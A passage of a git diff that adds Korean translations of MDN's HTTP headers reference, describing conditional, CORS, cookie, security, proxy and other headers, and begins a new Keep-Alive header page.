+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}</dt>
+ <dd>서버는 명시된 시간동안 서버가 지원하는 클라이언트 힌트의 집합을 클라이언트가 기억하도록 요청하여 서버의 오리진으로의 후속 요청에 대한 클라이언트 힌트를 전송할 수 있습니다(<a href="https://httpwg.org/http-extensions/client-hints.html#RFC6454"><cite>[RFC6454]</cite></a>).</dd>
+ <dt>{{HTTPHeader("Early-Data")}} {{experimental_inline}}</dt>
+ <dd>요청이 초기 데이터로 전달되었음을 나타냅니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Content-DPR")}} {{experimental_inline}}</dt>
+ <dd><code>Content-DPR</code> 응답 헤더 필드는 선택한 이미지 응답의 CSS px를 통한 물리적 픽셀간의 비율을 나타내는 숫자입니다.</dd>
+ <dt>{{HTTPHeader("DPR")}} {{experimental_inline}}</dt>
+ <dd><code>DPR</code> 요청 헤더 필드는 레이아웃 뷰포트(Section 9.1.1 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSS2"><cite>[CSS2]</cite></a>)의 CSS px(Section 5.2 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSSVAL"><cite>[CSSVAL]</cite></a>)를 통한 물리적 픽셀 비율인 클라이언트의 현재 기기 픽셀 비율(DPR)을 나타내는 숫자입니다.</dd>
+ <dt>{{HTTPHeader("Save-Data")}} {{experimental_inline}}</dt>
+ <dd><a class="internalDFN" href="https://wicg.github.io/netinfo/#dom-networkinformation-savedata"><code>SaveData</code></a> [<cite><a class="bibref" href="https://wicg.github.io/netinfo/#bib-client-hints">CLIENT-HINTS</a></cite>] 요청 헤더 필드는 절약한 데이터 사용에 대한 유저 에이전트의 설정을 나타내는 하나 이상의 토큰으로 이루어져있습니다.</dd>
+ <dt>{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}</dt>
+ <dd>
+ <div id="rfc.section.3.3.p.1">
+ <p><code>Viewport-Width</code> 요청 헤더 필드는 CSS px 단위의 레이아웃 뷰포트 width를 나타내는 숫자입니다. 제공된 CSS px값은 정수로 반올림된 숫자입니다(예, 올림 값).</p>
+ </div>
+
+ <div id="rfc.section.3.3.p.2">
+ <p>하나 이상의 메시지에서 <code>Viewport-Width</code>가 나타난다면, 마지막 값이 모든 이전의 값을 덮어씁니다.</p>
+ </div>
+ </dd>
+ <dt>{{HTTPHeader("Width")}} {{experimental_inline}}</dt>
+ <dd>
+ <div id="rfc.section.3.2.p.1">
+ <p><code>Width</code> 요청 헤더 필드는 물리적 px(예, 이미지의 실제 크기) 단위의 원하는 리소스 width를 나타내는 숫자입니다. 제공된 물리적 px 값은 정수로 반올림된 숫자입니다(예, 올림 값).</p>
+ </div>
+
+ <div id="rfc.section.3.2.p.2">
+ <p>원하는 리소스 width를 요청 시점에 알 수 없거나 리소스가 표출 width를 갖지 않을 경우, <code>Width</code> 헤더 필드는 생략될 수 있습니다. 하나 이상의 메시지에서 <code>Width</code>가 나타난다면, 마지막 값이 모든 이전의 값을 덮어씁니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="조건부">조건부</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Last-Modified")}}</dt>
+ <dd>동일한 리소스의 여러 버전을 비교하는데 사용되는 검사기로, 리소스의 마지막 수정 날짜입니다. {{HTTPHeader("ETag")}}보다 덜 정확하지만, 어떤 환경에서는 계산이 더 쉽습니다. {{HTTPHeader("If-Modified-Since")}}와 {{HTTPHeader("If-Unmodified-Since")}}를 사용하는 조건부 요청은 이 값을 사용하여 요청의 동작을 변경합니다.</dd>
+ <dt>{{HTTPHeader("ETag")}}</dt>
+ <dd>리소스의 버전을 식별하는 고유한 문자열 검사기입니다. {{HTTPHeader("If-Match")}}와 {{HTTPHeader("If-None-Match")}}를 사용하는 조건부 요청은 이 값을 사용하여 요청의 동작을 변경합니다.</dd>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>저장된 리소스가 주어진 ETags의 하나와 일치하는 경우에만 요청을 조건부로 만들고 메소드를 적용합니다.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>저장된 리소스가 주어진 ETags 모두와 일치하지 않는 경우에만 요청을 조건부로 만들고 메소드를 적용합니다. 캐시(안전 연결용)를 업데이트하거나 이미 존재하는 리소스를 다시 업로드하는 것을 방지하기위해 사용됩니다.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>주어진 날짜 이후에 수정된 경우에만 요청을 조건부로 만들고 엔티티가 전송될 것을 기대합니다. 캐시가 만료되었을 때에만 데이터를 전송하는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>주어진 날짜 이후에 수정되지 않은 경우에만 요청을 조건부로 만들고 엔티티가 전송될 것을 기대합니다. 이는 특정 범위의 새로운 프래그먼트와 이전의 것과의 일관성을 보장하거나, 존재하는 다큐먼트를 수정할 때에 낙관적인 제어 시스템을 구현하는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Vary")}}</dt>
+ <dd>오리진 서버로부터 새로운 요청을하는 대신 캐시된 응답을 사용할지를 결정하기위한 향후의 요청 헤더를 매칭할 방법을 정합니다.</dd>
+</dl>
+
+<h2 id="연결_관리">연결 관리</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Connection")}}</dt>
+ <dd>현재 트랜잭션이 끝난후에 네트워크 연결을 열린 상태로 둘지 여부를 제어합니다.</dd>
+ <dt>{{HTTPHeader("Keep-Alive")}}</dt>
+ <dd>지속적인 연결이 열린 상태로 유지할 기간을 제어합니다.</dd>
+</dl>
+
+<h2 id="컨텐츠_협상"><a href="/ko/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept")}}</dt>
+ <dd>돌려줄 데이터 타입에 대해 서버에 알립니다. MIME 타입입니다.</dd>
+ <dt>{{HTTPHeader("Accept-Charset")}}</dt>
+ <dd>클라이언트가 이해할 수 있는 문자 집합에 대해 서버에 알립니다.</dd>
+ <dt>{{HTTPHeader("Accept-Encoding")}}</dt>
+ <dd>인코딩 알고리즘에 대해 서버에 알립니다. 보통은 돌려줄 리소스에 사용되는 압축 알고리즘입니다.</dd>
+ <dt>{{HTTPHeader("Accept-Language")}}</dt>
+ <dd>서버가 돌려주기로 예상된 언어에 대해 서버에 알립니다. 이는 힌트이며 사용자의 모든 제어 아래에서는 필수가 아닙니다: 서버는 명시적인 사용자 선택을 덮어쓰지 않도록 항상 집중해야합니다(드롭 다운 리스트에서 언어를 선택하는 것처럼).</dd>
+</dl>
+
+<h2 id="제어">제어</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Expect")}}</dt>
+ <dd>요청을 적절히 처리하기위해 서버에서 수행되어야하는 기대치를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Max-Forwards")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="쿠키">쿠키</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cookie")}}</dt>
+ <dd>{{HTTPHeader("Set-Cookie")}} 헤더와 함께 서버로부터 이전에 전송됐던 저장된 <a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a>를 포함합니다. </dd>
+ <dt>{{HTTPHeader("Set-Cookie")}}</dt>
+ <dd>서버에서 유저 에이전트로 쿠키를 전송합니다.</dd>
+ <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>{{HTTPHeader("Set-Cookie2")}}와 함께 서버에 의해 이전에 전송된 HTTP 쿠키를 포함하는데 사용되었지만, 명세에 의해 사용되지 않게 되었습니다. 대신 {{HTTPHeader("Cookie")}}를 사용하세요.</dd>
+ <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>서버에서 유저 에이전트로 쿠키를 전송하는데 사용되었지만, 명세에 의해 사용되지 않게 되었습니다. 대신 {{HTTPHeader("Set-Cookie")}}를 사용하세요.</dd>
+</dl>
+
+<h2 id="CORS">CORS</h2>
+
+<p><em><a href="CORS">여기</a>에서 CORS에 대해 더 알아보세요.</em></p>
+
+<dl>
+ <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
+ <dd>응답이 공유될 수 있는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
+ <dd>credentials 플래그가 true일 때 요청에 대한 응답이 노출될 수 있는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
+ <dd>실제 요청을 만들 때 사용될 수 있는 HTTP 헤더를 나타내는 preflight 요청에 대한 응답으로 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
+ <dd>preflight 요청에 대한 응답으로 리소스에 접근할 때 허용되는 메소드를 명시합니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
+ <dd>헤더의 이름을 나열하여 어떤 헤더가 응답의 일부로 노출될 수 있는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
+ <dd>preflight 요청의 결과가 캐시되는 기간을 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
+ <dd>실제 요청이 있을 때 사용될 HTTP 헤더를 서버에 알리기 위한 preflight 요청을 보낼 때 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
+ <dd>실제 요청이 있을 때 사용될 <a href="/ko/docs/Web/HTTP/Methods">HTTP 메소드</a>를 서버에 알리기 위한 preflight 요청을 보낼 때 사용됩니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Origin")}}</dt>
+ <dd>페치가 시작된 위치를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt>
+ <dd><a href="/ko/docs/Web/API/Resource_Timing_API">Resource Timing API</a>의 기능을 통해 반환되는 속성을 확인할 수 있게해주는 오리진을 명시합니다. 교차-오리진 제한으로인해 0으로 기록될 수도 있습니다.</dd>
+ <dt>{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}</dt>
+ <dd>교차-도메인 정책 파일(XML)이 허용되었는지를 명시합니다. 해당 파일은 Adobe Flash Player 또는 Adobe Acrobat(예, PDF)과 같은 웹 클라이언트가 도메인을 넘어 데이터를 다룰 수 있도록 허용하는 정책을 정의할수도 있습니다.</dd>
+</dl>
+
+<h2 id="추적_안함">추적 안함</h2>
+
+<dl>
+ <dt>{{HTTPHeader("DNT")}}</dt>
+ <dd>사용자의 추적 설정을 나타내는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Tk")}}</dt>
+ <dd>해당하는 요청에 적용되는 추적 상태를 나타냅니다.</dd>
+</dl>
+
+<h2 id="다운로드">다운로드</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Disposition")}}</dt>
+ <dd>전송된 리소스가 한 줄로 표시되어야하거나(헤더가 존재하지 않을 때는 기본 동작), 다운로드처럼 처리되어야 하고 브라우저가 '다른 이름으로 저장' 창을 표시해야할 때에 대한 응답 헤더입니다.</dd>
+</dl>
+
+<h2 id="메시지_바디_정보">메시지 바디 정보</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Length")}}</dt>
+ <dd>수신자에게 전송된 엔티티 바디의 크기를 10진수 바이트 단위로 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Content-Type")}}</dt>
+ <dd>리소스의 미디어 타입을 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Content-Encoding")}}</dt>
+ <dd>압축 알고리즘을 명시하는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Content-Language")}}</dt>
+ <dd>사용자를 위한 언어를 설명하여 사용자가 선호하는 언어에 따라 구분할 수 있게해줍니다.</dd>
+ <dt>{{HTTPHeader("Content-Location")}}</dt>
+ <dd>반환된 데이터를 위한 대체 위치를 나타냅니다.</dd>
+</dl>
+
+<h2 id="프록시">프록시</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Forwarded")}}</dt>
+ <dd>프록시가 요청의 경로에 포함될 때 변경되거나 손실되는 프록시 서버의 클라이언트 측면에 대한 정보를 포함합니다.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
+ <dd>HTTP 프록시나 로드 밸런서를 통해 웹 서버로 연결하는 클라이언트의 시작 IP 주소를 확인합니다.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
+ <dd>클라이언트가 여러분의 프록시나 로드 밸런서에 접속하기 위해 사용하도록 요청됐던 원본 호스트를 확인합니다.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
+ <dd>클라이언트가 여러분의 프록시나 로드 밸런서에 접속하기 위해 사용했던 프로토콜(HTTP 또는 HTTPS)을 확인합니다.</dd>
+ <dt>{{HTTPHeader("Via")}}</dt>
+ <dd>정방향 및 역방향 프록시에 모두에 의해 추가되며, 요청 헤더와 응답 헤더에서 나타날 수 있습니다.</dd>
+</dl>
+
+<h2 id="리다이렉트">리다이렉트</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Location")}}</dt>
+ <dd>페이지를 리다이렉트할 URL을 나타냅니다.</dd>
+</dl>
+
+<h2 id="요청_컨텍스트">요청 컨텍스트</h2>
+
+<dl>
+ <dt>{{HTTPHeader("From")}}</dt>
+ <dd>요청하는 유저 에이전트를 제어하는 사용자(사람)의 인터넷 이메일 주소를 포함합니다.</dd>
+ <dt>{{HTTPHeader("Host")}}</dt>
+ <dd>서버(가상 호스팅용)의 도메인명과 (선택적으로) 서버가 리스닝중인 TCP 포트 번호를 명시합니다.</dd>
+ <dt>{{HTTPHeader("Referer")}}</dt>
+ <dd>현재 페이지로 연결되는 링크가 있던 이전 웹 페이지의 주소입니다.</dd>
+ <dt>{{HTTPHeader("Referrer-Policy")}}</dt>
+ <dd>생성된 요청이 {{HTTPHeader("Referer")}} 헤더에서 전송된 referrer 정보에 포함되어야하는지를 관리합니다.</dd>
+ <dt>{{HTTPHeader("User-Agent")}}</dt>
+ <dd>네트워크 프로토콜 피어가 요청하는 사용자 에이전트의 애플리케이션 타입, 운영 체제, 소프트웨어 벤더 또는 소프트웨어 버전을 식별할 수 있는 특성 문자열을 포함합니다. <a href="/ko/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 유저 에이전트 문자열 레퍼런스</a> 문서도 참고하세요.</dd>
+</dl>
+
+<h2 id="응답_컨텍스트">응답 컨텍스트</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Allow")}}</dt>
+ <dd>리소스에 의해 지원되는 HTTP 요청 메소드를 나열합니다.</dd>
+ <dt>{{HTTPHeader("Server")}}</dt>
+ <dd>요청을 처리하기 위해 오리진 서버에 의해 사용되는 소프트웨어에 대한 정보를 포함합니다.</dd>
+</dl>
+
+<h2 id="범위_요청">범위 요청</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Ranges")}}</dt>
+ <dd>서버가 범위 요청을 지원하는지를 나타내며, 지원할 경우 범위가 표현될 수 있는 단위를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Range")}}</dt>
+ <dd>서버가 반환해야하는 문서의 부분을 나타냅니다.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>주어진 etag 또는 날짜가 원격 리소스와 일치할 경우에만 수행되는 조건적 범위 요청을 생성합니다. 호환되지 않는 범전의 리소스에서 두 가지 범위의 다운로드를 방지하기위해 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Content-Range")}}</dt>
+ <dd>전체 바디 메시지 중 특정 메시지가 포함된 위치를 나타냅니다.</dd>
+</dl>
+
+<h2 id="보안">보안</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cross-Origin-Resource-Policy")}}</dt>
+ <dd>이 헤더가 적용된 리소스의 응답을 다른 도메인이 읽는 것을 방지합니다.</dd>
+ <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
+ <dd>주어진 페이지에 대해 유저 에이전트가 로드할 수 있는 리소스를 제어합니다.</dd>
+ <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
+ <dd>웹 개발자가 정책을 강제로 적용하지 않고도 그 효과를 실험해볼 수 있게 해줍니다. 이러한 위반 보고서는 HTTP <code>POST</code> 요청을 통해 지정된 URL로 전송된 {{Glossary("JSON")}} 문서로 구성됩니다.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>사이트가 잘못 발급된 인증서의 사용이 눈에 띄지 않게 넘어가는것을 방지해주는 인증서 투명성(Certificate Transparency) 요구 보고 및/또는 시행을 옵트인할 수 있게 해줍니다. 사이트가 Expect-CT 헤더를 사용할 때, 사이트는 공개 CT 로그에 나타난 사이트에 대한 모든 인증서를 Chrome이 확인하도록 요청합니다.</dd>
+ <dt>{{HTTPHeader("Feature-Policy")}}</dt>
+ <dd>소유한 프레임 및 내장된 iframe에서 브라우저 기능의 사용을 허용 및 거부하기위한 메커니즘을 제공합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt>
+ <dd>위조된 인증서를 사용한 {{Glossary("MITM")}} 공격의 위험을 줄이기 위해 특정 웹 서버에 특정 암호화 공개 키를 연결합니다.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
+ <dd>헤더에 지정된 report-uri로 보고를 전송하고 피닝을 위반하더라도 클라이언트가 서버에 접속하는 것을 계속 허용합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
+ <dd>HTTP 대신 HTTPS를 사용하여 통신하도록 강제합니다.</dd>
+ <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
+ <dd>암호화된 응답과 인증된 응답에 대한 클라이언트의 설정을 나타내는 신호를 서버에 전송하며, {{CSP("upgrade-insecure-requests")}} 지시자를 성공적으로 처리할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
+ <dd>MIME 스니핑을 비활성화하고 브라우저가 {{HTTPHeader("Content-Type")}}에 주어진 타입을 사용하도록 강제합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Download-Options")}}</dt>
+ <dd>브라우저(인터넷 익스플로러)가 파일을 통한 피싱 공격을 방지하기 위해 애플리케이션으로부터 다운로드된 파일에 "열기" 옵션을 표시하면 안되는지 여부를 나타냅니다. 피싱 공격을 방지하지 못할 경우 파일을 애플리케이션의 컨텍스트에서 실행할 권한을 얻게됩니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
+ <dd>브라우저가 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} 또는 {{HTMLElement("object")}}에서 페이지 렌더링을 허용해야하는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("X-Powered-By")}}</dt>
+ <dd>호스팅 환경이나 다른 프레임워크에 의해 설정 될 수 있으며, 그들에 대한 정보를 포함하지만 애플리케이션이나 방문자에게 유용하지는 않습니다. 잠재적인 취약점 노출을 피하려면 이 헤더를 해제하세요.</dd>
+ <dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
+ <dd>교차-사이트 스크립팅 필터링을 활성화합니다.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="서버가_전송한_이벤트">서버가 전송한 이벤트</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Last-Event-ID")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("NEL")}} {{experimental_inline}}</dt>
+ <dd>개발자가 네트워크 에러 보고 정책을 선언할 수 있게하는 메커니즘을 정의합니다.</dd>
+ <dt>{{HTTPHeader("Ping-From")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Ping-To")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Report-To")}}</dt>
+ <dd>브라우저가 경고 및 에러 보고를 전송하기 위한 서버 엔드포인트를 지정하는데 사용됩니다.</dd>
+</dl>
+
+<h2 id="전송_코딩">전송 코딩</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
+ <dd>사용자에게 엔티티를 안전하게 전송하기위해 사용할 인코딩 형식을 지정합니다.</dd>
+ <dt>{{HTTPHeader("TE")}}</dt>
+ <dd>유저 에이전트가 수락하기로한 전송 인코딩을 지정합니다.</dd>
+ <dt>{{HTTPHeader("Trailer")}}</dt>
+ <dd>전송자가 청크 분할된 메시지의 끝에 부가적인 필드를 포함할 수 있게 해줍니다.</dd>
+</dl>
+
+<h2 id="웹소켓">웹소켓</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="그_외">그 외</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}}</dt>
+ <dd>클라이언트는 요청에 <code><a href="https://tools.ietf.org/html/draft-ruellan-http-accept-push-policy-00#section-3.1">Accept-Push-Policy</a></code> 헤더 필드를 전송하여 요청에 대해 희망하는 푸시 정책을 나타낼 수 있습니다.</dd>
+ <dt>{{HTTPHeader("Accept-Signature")}} {{experimental_inline}}</dt>
+ <dd>클라이언트는 <code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.3.7">Accept-Signature</a></code> 헤더 필드를 전송하여 지원하는 서명의 종류와 사용 가능한 모든 서명을 이용할 의도를 나타낼 수 있습니다.</dd>
+ <dt>{{HTTPHeader("Alt-Svc")}}</dt>
+ <dd>이 서비스에 도달할 수 있는 대안을 나열하는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Date")}}</dt>
+ <dd>메시지가 발생한 날짜와 시간을 포함합니다.</dd>
+ <dt>{{HTTPHeader("Large-Allocation")}}</dt>
+ <dd>로드되고 있는 페이지가 대규모 할당 작업을 원할 것이라고 브라우저에게 알립니다.</dd>
+ <dt>{{HTTPHeader("Link")}}</dt>
+ <dd><code><a href="https://tools.ietf.org/html/rfc5988#section-5">Link</a></code> 엔티티 헤더 필드는 HTTP 헤더내의 하나 이상의 링크를 직렬화하기위한 수단을 제공합니다. HTML {{HTMLElement("link")}} 엘리먼트와 의미상으로 동일합니다.</dd>
+ <dt>{{HTTPHeader("Push-Policy")}} {{experimental_inline}}</dt>
+ <dd><code><a href="https://tools.ietf.org/html/draft-ruellan-http-accept-push-policy-00#section-3.2">Push-Policy</a></code>는 요청을 처리할 때 푸시에 관련된 서버의 동작을 정의합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Retry-After")}}</dt>
+ <dd>유저 에이전트가 다음 요청을 생성하기전에 얼마나 기다려야하는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Signature")}} {{experimental_inline}}</dt>
+ <dd><code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.3.1">Signature</a></code> 헤더 필드는 교환을 위한 서명의 리스트를 전달하며, 각 서명은 권한을 판별하고 새로고치는 방법에 대한 정보를 수반합니다.</dd>
+ <dt>{{HTTPHeader("Signed-Headers")}} {{experimental_inline}}</dt>
+ <dd><code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.5.1.2">Signed-Headers</a></code> 헤더 필드는 서명에서 포함할 응답 헤더 필드의 정렬된 리스트를 식별합니다.</dd>
+ <dt>{{HTTPHeader("Server-Timing")}}</dt>
+ <dd>주어진 요청-응답 주기에 대한 하나 이상의 메트릭 및 설명을 전달합니다.</dd>
+ <dt>{{HTTPHeader("SourceMap")}}</dt>
+ <dd>생성된 코드를 <a href="/ko/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>에 링크합니다.</dd>
+ <dt>{{HTTPHeader("Upgrade")}}</dt>
+ <dd><a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade 헤더 필드</a>에 관련된 RFC 문서는 RFC 7230, section 6.7입니다. 이 표준은 현재 클라이언트, 서버, 전송 프로토콜 연결에서 다른 프로토콜로 업그레이드 또는 변경하기위한 규칙을 정하였습니다. 예를 들면, 이 헤더 표준은 서버가 Upgrade 헤더 필드를 인식하고 구현하도록 결정했다고 가정하여 클라이언트가 HTTP 1.1에서 HTTP 2.0으로 변경하는것을 허용합니다. 어떠한 집단에서도 Upgrade 헤더 필드에서 명시된 용어를 수락할 필요는 없습니다. 이는 클라이언트 및 서버 헤더 모두에서 사용될 수 있습니다. Upgrade 헤더 필드가 명시되었을 경우, 전송자는 반드시 업그레이드 옵션을 지정한 Connection 헤더 필드도 전송해야합니다. Connection 헤더 필드에 대한 자세한 내용은 <a href="https://tools.ietf.org/html/rfc7230#section-6.1">앞서 언급한 RFC의 section 6.1</a>을 확인하시기 바랍니다..</dd>
+ <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
+ <dd>브라우저가 이미지, CSS, JavaScript 등을 포함하여 문서에 의해 참조된 항목을 위한 URL뿐만 아니라 사용자가 따르길 선택한 링크 모두에서 사전에 수행할 도메인 네임 확인을 수행하는 기능인 <span style="font-size: 1rem; letter-spacing: -0.00278rem;">DNS 프리페칭을 제어합니다.</span></dd>
+ <dt>{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Pingback")}} {{non-standard_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Requested-With")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Robots-Tag")}}{{non-standard_inline}}</dt>
+ <dd>공개 검색 엔진 결과에서 웹 페이지가 인덱싱되는 방식을 나타내기 위해 사용됩니다. 이 헤더는 사실상 <code>&lt;meta name="robots" content="..."&gt;</code>와 동일합니다.</dd>
+ <dt>{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}</dt>
+ <dd>Internet Explorer에게 사용할 문서 모드를 알리는데 사용됩니다.</dd>
+</dl>
+
+<h2 id="기여">기여</h2>
+
+<p><a href="/ko/docs/MDN/Contribute/Howto/Document_an_HTTP_header">새로운 항목을 작성</a>하거나 존재하는 항목을 향상하여 도움을 주실 수 있습니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li>
+ <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li>
+ <li><a href="https://httpwg.org/specs/">HTTP Working Group</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/keep-alive/index.html b/files/ko/web/http/headers/keep-alive/index.html
new file mode 100644
index 0000000000..5635cc6ce9
--- /dev/null
+++ b/files/ko/web/http/headers/keep-alive/index.html
@@ -0,0 +1,88 @@
+---
+title: Keep-Alive
+slug: Web/HTTP/Headers/Keep-Alive
+translation_of: Web/HTTP/Headers/Keep-Alive
+---
+<div>{{HTTPSidebar}}{{Non-standard_header}}</div>
+
+<p><code><strong>Keep-Alive</strong></code> 일반 헤더는 송신자가 연결에 대한 타임아웃과 요청 최대 개수를 어떻게 정했는지에 대해 알려줍니다.</p>
+
+<div class="note">
+<p>{{HTTPHeader("Connection")}} 헤더는 이 헤더를 위해 어떤 의미든 갖도록 "keep-alive"로 설정되어야 합니다. 또한, {{HTTPHeader("Connection")}}과 {{HTTPHeader("Keep-Alive")}}는 HTTP/2에서 무시됩니다; 연결 관리는 해당 프로토콜 내에서 다른 메커니즘에 의해 처리됩니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Keep-Alive: <em>parameters</em></pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><em>파라메터</em></dt>
+ <dd>쉼표로 구분된 파라메터 목록으로, 각각 등호('=')로 구분되는 식별자와 값으로 구성됩니다. 다음은 사용 가능한 식별자들입니다:
+ <ul>
+ <li><code>timeout</code>: 유휴 연결이 계속 열려 있어야 하는 <em>최소한의</em> 시간(초 단위)을 가르킵니다. keep-alive TCP 메시지가 전송 계층에 설정되지 않는다면 TCP 타임아웃 이상의 타임아웃은 무시된다는 것을 알아두시기 바랍니다.</li>
+ <li><code>max</code>: 연결이 닫히기 이전에 전송될 수 있는 최대 요청 수를 가리킵니다. 만약 <code>0</code>이 아니라면, 해당 값은 다음 응답 내에서 다른  요청이 전송될 것이므로 비-파이프라인 연결의 경우 무시됩니다. HTTP 파이프라인은 파이프라이닝을 제한하는 용도로 해당 값을 사용할 수 있습니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
